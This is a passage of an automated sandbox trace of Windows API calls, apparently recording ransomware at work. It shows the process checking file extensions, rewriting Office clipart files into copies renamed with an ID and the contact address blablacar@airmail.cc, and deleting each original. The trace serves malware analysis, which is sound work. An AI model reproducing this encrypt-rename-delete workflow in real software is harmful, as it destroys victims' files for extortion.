ReadFile (in: hFile=0x408, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.214] WriteFile (in: hFile=0x44c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.214] SetEndOfFile (hFile=0x44c) returned 1 [0179.215] CloseHandle (hObject=0x44c) returned 1 [0179.216] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.216] SetEndOfFile (hFile=0x408) returned 1 [0179.521] CloseHandle (hObject=0x408) returned 1 [0179.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0179.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0180.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0180.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0180.447] lstrlenW (lpString=".doc") returned 4 [0180.447] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.447] lstrlenW (lpString=".docx") returned 5 [0180.447] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.447] lstrlenW (lpString=".pdf") returned 4 [0180.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.447] lstrlenW (lpString=".xls") returned 4 [0180.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.447] lstrlenW (lpString=".xlsx") returned 5 [0180.447] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.448] lstrlenW (lpString=".ppt") returned 4 [0180.448] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0180.448] lstrlenW (lpString=".zip") returned 4 [0180.448] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.448] lstrlenW (lpString=".rar") returned 4 [0180.448] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.448] lstrlenW (lpString=".bz2") returned 4 [0180.448] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.448] lstrlenW (lpString=".7z") returned 3 [0180.448] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0180.448] lstrlenW (lpString=".dbf") returned 4 [0180.448] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0180.448] lstrlenW (lpString=".1cd") returned 4 [0180.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0180.448] lstrlenW (lpString=".jpg") returned 4 [0180.448] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0180.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0180.448] lstrlenW (lpString=".doc") returned 4 [0180.448] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.448] lstrlenW (lpString=".docx") returned 5 [0180.448] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.448] lstrlenW (lpString=".pdf") returned 4 [0180.448] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.448] lstrlenW (lpString=".xls") returned 4 [0180.448] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.448] lstrlenW (lpString=".xlsx") returned 5 [0180.448] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.448] lstrlenW (lpString=".ppt") returned 4 [0180.449] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0180.449] lstrlenW (lpString=".zip") returned 4 [0180.449] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.449] lstrlenW (lpString=".rar") returned 4 [0180.449] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.449] lstrlenW (lpString=".bz2") returned 4 [0180.449] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.449] lstrlenW (lpString=".7z") returned 3 [0180.449] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0180.449] lstrlenW (lpString=".dbf") returned 4 [0180.449] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0180.449] lstrlenW (lpString=".1cd") returned 4 [0180.449] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0180.449] lstrlenW (lpString=".jpg") returned 4 [0180.449] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.449] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0180.449] lstrlenW (lpString="BL00234_.WMF") returned 12 [0180.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0180.654] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=9304) returned 1 [0180.655] CloseHandle (hObject=0x408) returned 1 [0180.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220 [0180.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0181.240] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.240] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0181.411] GetLastError () returned 0x0 [0181.411] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x2458, lpOverlapped=0x0) returned 1 [0181.413] WriteFile (in: hFile=0x45c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x2460, lpOverlapped=0x0) returned 1 [0181.414] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.414] WriteFile (in: hFile=0x45c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.414] SetEndOfFile (hFile=0x45c) returned 1 [0181.414] CloseHandle (hObject=0x45c) returned 1 [0181.415] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.415] SetEndOfFile (hFile=0x3fc) returned 1 [0181.419] CloseHandle (hObject=0x3fc) returned 1 [0181.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0181.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0181.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0181.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0181.425] lstrlenW (lpString=".doc") returned 4 [0181.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.425] lstrlenW (lpString=".docx") returned 5 [0181.425] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.425] lstrlenW (lpString=".pdf") returned 4 [0181.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.425] lstrlenW (lpString=".xls") returned 4 [0181.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.425] lstrlenW (lpString=".xlsx") returned 5 [0181.425] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.425] lstrlenW (lpString=".ppt") returned 4 [0181.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0181.425] lstrlenW (lpString=".zip") returned 4 [0181.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.425] lstrlenW (lpString=".rar") returned 4 [0181.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.425] lstrlenW (lpString=".bz2") returned 4 [0181.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.425] lstrlenW (lpString=".7z") returned 3 [0181.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0181.425] lstrlenW (lpString=".dbf") returned 4 [0181.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0181.426] lstrlenW (lpString=".1cd") returned 4 [0181.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0181.426] lstrlenW (lpString=".jpg") returned 4 [0181.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0181.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0181.426] lstrlenW (lpString=".doc") returned 4 [0181.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.426] lstrlenW (lpString=".docx") returned 5 [0181.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.426] lstrlenW (lpString=".pdf") returned 4 [0181.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.426] lstrlenW (lpString=".xls") returned 4 [0181.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.426] lstrlenW (lpString=".xlsx") returned 5 [0181.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.426] lstrlenW (lpString=".ppt") returned 4 [0181.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0181.426] lstrlenW (lpString=".zip") returned 4 [0181.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.426] lstrlenW (lpString=".rar") returned 4 [0181.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.426] lstrlenW (lpString=".bz2") returned 4 [0181.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.426] lstrlenW (lpString=".7z") returned 3 [0181.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0181.427] lstrlenW (lpString=".dbf") returned 4 [0181.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0181.427] lstrlenW (lpString=".1cd") returned 4 [0181.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0181.427] lstrlenW (lpString=".jpg") returned 4 [0181.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.427] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0181.427] lstrlenW (lpString="BL00247_.WMF") returned 12 [0181.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0181.428] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=14444) returned 1 [0181.428] CloseHandle (hObject=0x3fc) returned 1 [0181.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x220 [0181.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0181.428] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.428] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0181.429] GetLastError () returned 0x0 [0181.429] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x386c, lpOverlapped=0x0) returned 1 [0181.431] WriteFile (in: hFile=0x45c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x3870, lpOverlapped=0x0) returned 1 [0181.432] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.432] WriteFile (in: hFile=0x45c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.432] SetEndOfFile (hFile=0x45c) returned 1 [0181.432] CloseHandle (hObject=0x45c) returned 1 [0181.434] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.434] SetEndOfFile (hFile=0x3fc) returned 1 [0181.436] CloseHandle (hObject=0x3fc) returned 1 [0181.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0181.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0181.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0181.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0181.437] lstrlenW (lpString=".doc") returned 4 [0181.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.438] lstrlenW (lpString=".docx") returned 5 [0181.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.438] lstrlenW (lpString=".pdf") returned 4 [0181.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.438] lstrlenW (lpString=".xls") returned 4 [0181.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.438] lstrlenW (lpString=".xlsx") returned 5 [0181.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.438] lstrlenW (lpString=".ppt") returned 4 [0181.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0181.438] lstrlenW (lpString=".zip") returned 4 [0181.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.438] lstrlenW (lpString=".rar") returned 4 [0181.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.438] lstrlenW (lpString=".bz2") returned 4 [0181.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.438] lstrlenW (lpString=".7z") returned 3 [0181.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0181.438] lstrlenW (lpString=".dbf") returned 4 [0181.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0181.438] lstrlenW (lpString=".1cd") returned 4 [0181.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0181.438] lstrlenW (lpString=".jpg") returned 4 [0181.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0181.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0181.438] lstrlenW (lpString=".doc") returned 4 [0181.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.439] lstrlenW (lpString=".docx") returned 5 [0181.439] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.439] lstrlenW (lpString=".pdf") returned 4 [0181.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.439] lstrlenW (lpString=".xls") returned 4 [0181.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.439] lstrlenW (lpString=".xlsx") returned 5 [0181.439] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.439] lstrlenW (lpString=".ppt") returned 4 [0181.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0181.439] lstrlenW (lpString=".zip") returned 4 [0181.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.439] lstrlenW (lpString=".rar") returned 4 [0181.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.439] lstrlenW (lpString=".bz2") returned 4 [0181.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.439] lstrlenW (lpString=".7z") returned 3 [0181.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0181.439] lstrlenW (lpString=".dbf") returned 4 [0181.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0181.439] lstrlenW (lpString=".1cd") returned 4 [0181.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0181.439] lstrlenW (lpString=".jpg") returned 4 [0181.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.439] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0181.440] lstrlenW (lpString="BL00248_.WMF") returned 12 [0181.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0181.440] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1536) returned 1 [0181.440] CloseHandle (hObject=0x3fc) returned 1 [0181.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x220 [0181.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0181.441] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.441] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0181.671] GetLastError () returned 0x0 [0181.671] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x600, lpOverlapped=0x0) returned 1 [0181.673] WriteFile (in: hFile=0x458, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x610, lpOverlapped=0x0) returned 1 [0181.674] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.674] WriteFile (in: hFile=0x458, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, 